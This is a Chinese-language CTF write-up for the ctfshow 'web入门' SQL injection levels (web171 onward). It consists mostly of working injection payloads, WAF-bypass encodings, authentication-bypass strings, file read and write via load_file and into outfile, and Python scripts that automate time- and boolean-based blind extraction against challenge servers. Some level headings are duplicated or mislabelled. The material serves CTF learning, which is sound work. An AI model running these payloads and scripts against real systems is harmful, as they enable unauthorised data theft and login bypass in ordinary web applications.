CTFSHOW-WEB入门-SQL注入

文章目录

  • 前言
  • web171
  • web172
  • web173
  • web174
  • web175
  • web176
  • web177
  • web178
  • web179
  • web180
  • web181-182
  • web183
  • web184
  • web 185-186
  • web 187
  • web 188
  • web 189
  • web 190
  • web 191
  • web 192
  • web 183
  • web 184
  • 堆叠注入

前言

最近发现对sql注入的相关知识点有点生疏和忘记了,做做ctfhshow的sql注入来巩固和学习一些新姿势。
SQL注入总结

web171

直接union注入即可

# 判断列数
' order by 3 --+

# 查数据库名
' union select 1,2,database() --+

# 查表名
' union select 1,2,concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+

# 查表名2,这样查表名可以省略查数据库名这个步骤
' union select 1,2,concat(table_name) from information_schema.tables where table_schema=database() --+

# 查字段
' union select 1,2,concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

# 查flag
' union select id,username,password from ctfshow_user where username='flag'--+

关于concat和group_concat的区别
concat输出为多列
CTFSHOW-WEB入门-SQL注入_第1张图片

group_concat输出为一列
CTFSHOW-WEB入门-SQL注入_第2张图片

web172

这题刚开始还没发现题在哪里
CTFSHOW-WEB入门-SQL注入_第3张图片
返回结果中的username不允许等于flag,不输出username不就完事了,这里应该过滤ctfshow才有意义

' union select 1,password from ctfshow_user2 where username='flag'--+

web173

这里换成了正则,不允许含有flag关键词,上面那个方法同样可以
CTFSHOW-WEB入门-SQL注入_第4张图片
使用hex加密一下输出结果,例如username字段输出有flag,用hex加密一下username即可

' union select id,hex(username),password from ctfshow_user3 where username='flag'--+

或者使用reverseto_base64等函数

' union select id,reverse(username),password from ctfshow_user3 where username='flag'--+

web174

结果不能有flag和数字,使用replace函数替代数字为其他字符

实例:把’病假’ 替换为 ‘–’:

UPDATE users SET username=REPLACE(username,'病假','--')  WHERE username LIKE '%病假%';

那么我们这里替换10次即可,把0-9替换为其他特定字符,像我这种懒狗肯定不可能自己写的,python脚本如下

password = "password"
number = {0: "zero", 1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", 8: "eight", 9: "nine"};
for i in range(0, 10):
    password = f"replace({password},'{i}','{number[i]}')"
    print(password)

CTFSHOW-WEB入门-SQL注入_第5张图片

运行脚本得到replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','zero '),'1','one'),'2','two'),'3','three'),'4','four'),'5','five'),'6','six'),'7','seven'),'8','eight'),'9','nine')

将payload里的password替换为上面的payload,然后将username倒置一下即可

' union select username,password from ctfshow_user4 where username='flag'--+

替换后如下:

' union select reverse(username),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','zero'),'1','one'),'2','two'),'3','three'),'4','four'),'5','five'),'6','six'),'7','seven'),'8','eight'),'9','nine') from ctfshow_user4 where username='flag'--+

得到flag为

ctfshow{threeatwosevensevenbtwonine-threebninetwo-fourtwofourthree-ninezerofsix-twofivetwoonecdfouretwoseventwofour}

将其替换回去

flag = "ctfshow{threeatwosevensevenbtwonine-threebninetwo-fourtwofourthree-ninezerofsix-twofivetwoonecdfouretwoseventwofour}"
number = {0: "zero", 1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", 8: "eight", 9: "nine"}
for i in range(0, 10):
    flag = flag.replace(str(number[i]), str(i))
print(flag)

运行得到flag
CTFSHOW-WEB入门-SQL注入_第6张图片

web175

过滤了0~0x7f的ASCII字符
CTFSHOW-WEB入门-SQL注入_第7张图片
CTFSHOW-WEB入门-SQL注入_第8张图片

方法一

使用into outfile将结果保存到文件中

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/2.txt'--+

访问2.txt得到flag

方法二,盲注

脚本如下:

import requests
url = "http://6bf4b4cc-bf93-4960-81af-697e62abeaa8.challenge.ctf.show:8080/api/v5.php"
result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127
    while tail > head:
        mid = (head + tail) // 2    # //向下取整即7.5取7,/为浮点数表示法
        payload = "?id=1' and if(ascii(substr((select  password from ctfshow_user5 where username='flag'),{0},1))>{1},sleep(2),0) -- -".format(i, mid)
        # print(url+payload)
        try:
            r = requests.get(url+payload, timeout=0.5)     # 如果0.5秒内返回结果,目标的ascii值小于等于mid,tail移动至中部,对于响应比较慢的网站,timeout应该设置大一点
            tail = mid
        except Exception as e:      # 0.5秒内未返回结果,目标ascii大于中间值,head移动至中部,因为是大于,所以还要加1
            head = mid+1
    if head == 32:        # 如果这一位为空就会出现结束之后head等于32的情况,break退出
        break
    result += chr(head)     # 这里只能为head或者tail而不能为mid,因为mid可能会少一
    print(result)

CTFSHOW-WEB入门-SQL注入_第9张图片

web176

大小写绕过

' uNion sElect 1,2,password from  ctfshow_user where username="flag"--+

或者直接万能密码,flag在最后一行

' or 1=1--+

web177

首先过滤了空格,用/**/代替

1'--+	正常
1' --+	报错

然后发现过滤了+号,–+用#代替

1'and(1-1=0)%23	正常
1'and(1+1=2)%23 报错

payload:

1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web178

测试发现,没有过滤的字符是会正常报错的
CTFSHOW-WEB入门-SQL注入_第10张图片

而过滤了的话会就算语法不对也会显示无数据
CTFSHOW-WEB入门-SQL注入_第11张图片
于是用fuzz了一下,发现过滤了这些字符
CTFSHOW-WEB入门-SQL注入_第12张图片
/**/不能用了,空格用%0d %0a %0c %0b %a0 %09替代,随便挑一个

构造payload如下

1'union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23

web179

法一

同样也是过滤了空格,尝试用用%0d %0a %0c %0b %a0 %09替代,写了个python脚本批量替代

payload = "1'union select 1,2,password from ctfshow_user where username='flag'%23"
for i in ['0a', '0b', '0c', '0d', '09', 'a0']:
    res = payload.replace(" ", '%{0}'.format(i))
    print(res)

一个一个试

1'union%0aselect%0a1,2,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23
1'union%0bselect%0b1,2,password%0bfrom%0bctfshow_user%0bwhere%0busername='flag'%23
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
1'union%0dselect%0d1,2,password%0dfrom%0dctfshow_user%0dwhere%0dusername='flag'%23
1'union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23
1'union%a0select%a01,2,password%a0from%a0ctfshow_user%a0where%a0username='flag'%23

测试发现第三个%0c可以

法二,括号代替空格

1'union(select(1),(2),(password)from(ctfshow_user)where(username='flag'))%23

在这里插入图片描述

web180

CTFSHOW-WEB入门-SQL注入_第13张图片

过滤了%23--+也不行加号被过滤,用--%0c-代替,把上一题payload的%23替代即可

1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c-

web181-182

过滤了select和*,正常注入不知道怎么注入,不过可以用万能密码,前面也能通杀,但感觉没意思
CTFSHOW-WEB入门-SQL注入_第14张图片

payload1,有注释符,flag在最下面

1'or(1=1)--%0c-

payload2,无注释符,单引号闭合

'or(id=26)and'1'='1

CTFSHOW-WEB入门-SQL注入_第15张图片

web183

一位一位爆破即可

select count(name) from a where substr(name,1,4) like 'flag';
->1
select count(name) from a where substr(name,1,5) like 'flag{';
->1

脚本如下

import requests
import string

url = "http://81d479a6-d9cb-4b25-bc7f-aa6eef1775d6.challenge.ctf.show:8080/select-waf.php"
strings = string.digits+string.ascii_letters+"-{}"
flag = "ctfshow{"

for i in range(9, 100):
    for j in strings:
        data = {
            "tableName": "(ctfshow_user)where(substr(pass,1,{0})like('{1}'))".format(str(i), flag+j)
        }
        req = requests.post(url=url, data=data)
        if "$user_count = 1;" in req.text:
            flag += j
            print(flag)
            if "}" in flag:
                exit()
            break

CTFSHOW-WEB入门-SQL注入_第16张图片

web184

这里char函数本地试了一下,直接char数字居然返回的的是16进制数,搜了一下找到解决办法mysql char函数 返回十六进制值问题请教

select ascii('a');
->97
select char(97);
->0x61
select char(97 using ascii);
->a

然后这道题过滤了单引号和双引号,可以用char()函数或者hex()来绕过

select count(name) from a where substr(name,1,4) like 'flag';
->1
select count(name) from a where substr(name,1,4) like char(102,108,97,103);
->1

web 185-186

过滤了* 空格 % < > ^ # \x23 数字 file = or | select and flag into where & ' " union ` sleep benchmark

语句为$sql = "select count(*) from ".$_POST['tableName'].";";,过滤了where union,知道列名,我们可以使用group by ... having拼接在后面进行注入,也可以使用right join...on连接来进行注入。

select  count(*) from ctfshow_user group by pass having pass like 'ctfshow{%';

select  count(*) from ctfshow_user as a right join ctfshow_user as b on pass like 'ctfshow{%';

CTFSHOW-WEB入门-SQL注入_第17张图片

再来看看过滤,过滤了单引号,我们可以使用chr(97)的形式来绕过,但是这里还过滤了数字和%,使用chr(true+true+...)来绕过。那么我们的payload最后就是

#group by ... having
select  count(*) from ctfshow_user group by pass having pass like concat(char(true+true+...),char(true+true+...),...);
# right join...on
select  count(*) from ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+...),char(true+true+...),...);

最后脚本如下
使用group by ... having

import requests

url = "http://a60b29c2-683d-4a8e-ad47-ac22598f13a1.challenge.ctf.show:8080/select-waf.php"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "ctfshow"

def to_true(num):
    if num == 1:
        return "true"
    else:
        return ("true+" * num).strip("+")

def all_true(str):
    res = ""
    for i in str:
        res += "chr(" + to_true(ord(i)) + "),"
    return res.strip(",")


# print("select concat("+all_true("c%")+");")
for i in range(100):
    for j in strs:
        data = {
            "tableName": "ctfshow_user group by pass having pass like concat({})".format(all_true(flag + j + "%"))
        }
        req = requests.post(url=url, data=data)
        if "$user_count = 0;" not in req.text:
            # print(req.text)
            flag += j
            break
        if j == "}":
            exit(0)
    print(flag)

使用right join...on

import requests

url = "http://bfaabb04-d998-45f2-96ef-81b5d2635dc9.challenge.ctf.show:8080/select-waf.php"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "ctfshow{"

def to_true(num):
    if num == 1:
        return "true"
    else:
        return ("true+" * num).strip("+")

def all_true(str):
    res = ""
    for i in str:
        res += "chr(" + to_true(ord(i)) + "),"
    return res.strip(",")


# print("select concat("+all_true("c%")+");")
for i in range(100):
    for j in strs:
        data = {
            "tableName": "ctfshow_user as a right join ctfshow_user as b on b.pass like concat({})".format(all_true(flag + j + "%"))
        }
        req = requests.post(url=url, data=data)
        if "$user_count = 43;" in req.text:
            # print(req.text)
            flag += j
	        if j == "}":
	            exit(0)
    print(flag)

web 187

md5(‘xxx’,true)语法。
CTFSHOW-WEB入门-SQL注入_第18张图片

考点:md5(‘xxx’,true)的万能密码
在这里插入图片描述
原理就是万能密码:


	$str = "129581926211651571912466741651878684928";
	$str2 = "ffifdyop";
	echo md5($str,True);
	# �T0D��o#��'or'8
	echo md5($str2,True);
	# 'or'6�]��!r,��b

web 188

payload1:

username=0&password=0

原理:username等于0会把虽有名字开头为英文的用户名都匹配到,password等于0匹配所有以字母为开头的字母。
CTFSHOW-WEB入门-SQL注入_第19张图片

payload2:

username=1||1&password=0

原理:
CTFSHOW-WEB入门-SQL注入_第20张图片
这道题说明了参数必须加单引号,不过好像也发现有不加单引号的。

web 189

考点:load_file盲注
原理:

select if(load_file('/var/www/html/flag.php')like('flag{%'),1,0);
select if(load_file('/var/www/html/flag.php')regexp('flag{'),1,0);
select if(load_file('/var/www/html/flag.php')rlike('flag{'),1,0);

CTFSHOW-WEB入门-SQL注入_第21张图片

本地测试读取文件内容。
CTFSHOW-WEB入门-SQL注入_第22张图片
在这道题里,如果if里的表达式正确则返回0,语句就变为了where name=0,这时账号正确密码错误,他会返回密码错误的信息,就这样爆出文件内容。

payload:

select pass from ctfshow_user where username=if(load_file('/var/www/html/flag.php')like('ctfshow{%'),0,1)

脚本:

import requests

url = "http://ea894911-f29d-4c92-acce-e52d6e166661.challenge.ctf.show:8080/api/"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "ctfshow{"

for i in range(100):
    for j in strs:
        data = {
            "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
            "password": 9
        }
        req = requests.post(url=url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in req.text:
            flag += j
            print(flag)
            if j == "}":
                exit(1)

web 190

测试

admin' and 1=1#	//密码错误
admin' and 1=2#	//用户名不存在

admin' and if(1=1,1,power(9999,99))#	//密码错误
admin' and if(1=2,1,power(9999,99))#	//用户名不存在

编写脚本如下

# Author:Herber555
import requests


def main():
    url = "http://2c618c38-8b19-4e35-bca4-746bcd0bccd2.challenge.ctf.show:8080/api/"
    headers = {
        "Accept": "*/*",
        "Accept-Encoding": "gzip, deflate",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
    }
    result = ""
    for i in range(1, 100):
        l = 1
        r = 127
        mid = (l + r) >> 1
        while l < r:
            # sql = f"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}"
            # sql = f"ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))>{mid}"
            sql = f"ascii(substr((select f1ag from ctfshow_fl0g),{i},1))>{mid}"
            data = {
                "username": f"admin' and if({sql},1,power(9999,99))#",
                "password": "123"
            }
            html = requests.post(url=url, data=data, headers=headers)
            print(html.text)
            if r"\u5bc6\u7801\u9519\u8bef" in html.text:
                l = mid + 1
            else:
                r = mid
            mid = (l + r) >> 1
            print(mid)
        if mid == 127 or mid == 1:
            break
        result += chr(mid)
        print(result)
    print("result:" + result)


if __name__ == '__main__':
    main()

web 191

还是上面那个脚本,过滤了ascii,替换为ord()即可

web 192

# Author:Herber555
import requests
import string

def main():
    url = "http://e3a1437a-66e5-47c3-ad5c-ad0b26ac6b04.challenge.ctf.show:8080/api/"
    headers = {
        "Accept": "*/*",
        "Accept-Encoding": "gzip, deflate",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
    }
    flagstr = string.digits + string.ascii_lowercase + " {}-_"
    result = ""
    for i in range(50):
        for j in flagstr:
            data = {
                "username": "admin' and if(substr((select f1ag from ctfshow_fl0g),{0},1)regexp('{1}'),1,2)='1".format(i, j),
                "password": "123"
            }
            html = requests.post(url=url, data=data, headers=headers)
            if r"\u5bc6\u7801\u9519\u8bef" in html.text:
                result += j
                print(result)
                if j == "}":
                    exit(0)
                break
    print("result:" + result)


if __name__ == '__main__':
    main()

web 183

继续改上面的脚本过滤了substr使用left替代

# Author:Herber555
import requests
import string

def main():
    url = "http://fee0385e-f2c8-4194-80c4-32a0b9877cdd.challenge.ctf.show:8080/api/"
    headers = {
        "Accept": "*/*",
        "Accept-Encoding": "gzip, deflate",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
    }
    flagstr = string.digits + string.ascii_lowercase + " {}-_,"
    result = ""
    for i in range(1, 50):
        for j in flagstr:
            data = {
                # "username": "admin' and if(left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{0})=('{1}'),1,power(9999,99))#".format(i, result+j),
                "username": "admin' and if(left((select f1ag from ctfshow_flxg),{0})=('{1}'),1,power(9999,99))#".format(
                    i, result + j),
                "password": "123"
            }
            html = requests.post(url=url, data=data, headers=headers)
            print(result, html.text, data["username"])
            if r"\u5bc6\u7801\u9519\u8bef" in html.text:
                result += j
                print(result)
                if j == "}":
                    exit(0)
                break
    print("result:" + result)


if __name__ == '__main__':
    main()

web 184

过滤了substr、left、right,可以用position(),instr(),locate()

#payload
#position("a" in "abcd")
admin' and if(position('{}' in (select f1ag from ctfshow_flxg))=1,1,power(9999,99))#

# locate("a","abcd")
admin' and if(locate('{}',(select f1ag from ctfshow_flxg))=1,1,power(9999,99))#

# instr("abcd","a")
admin' and if(instr((select f1ag from ctfshow_flxg),'{}')=1,1,power(9999,99))#
# Author:Herber555
import requests
import string

def main():
    url = "http://28ab904e-853c-423d-816d-41a07d34f92a.challenge.ctf.show:8080/api/"
    headers = {
        "Accept": "*/*",
        "Accept-Encoding": "gzip, deflate",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
    }
    flagstr = string.digits + string.ascii_lowercase + " {}-_,"
    result = ""
    for i in range(1, 50):
        for j in flagstr:
            data = {
                # 爆表
                # "username": "admin' and if(locate('{}',(select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,1,power(9999,99))#".format(result + j),
                # 爆字段
                # "username": "admin' and if(locate('{}',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'))=1,1,power(9999,99))#".format(result + j),
                # 爆flag
                "username": "admin' and if(locate('{}',(select f1ag from ctfshow_flxg))=1,1,power(9999,99))#".format(result + j),
                "password": "123"
            }
            html = requests.post(url=url, data=data, headers=headers)
            print(result, html.text, data["username"])
            if r"\u5bc6\u7801\u9519\u8bef" in html.text:
                result += j
                print(result)
                if j == "}":
                    exit(0)
                break
    print("result:" + result)


if __name__ == '__main__':
    main()

堆叠注入

web195

你可能感兴趣的:(#,各平台题目)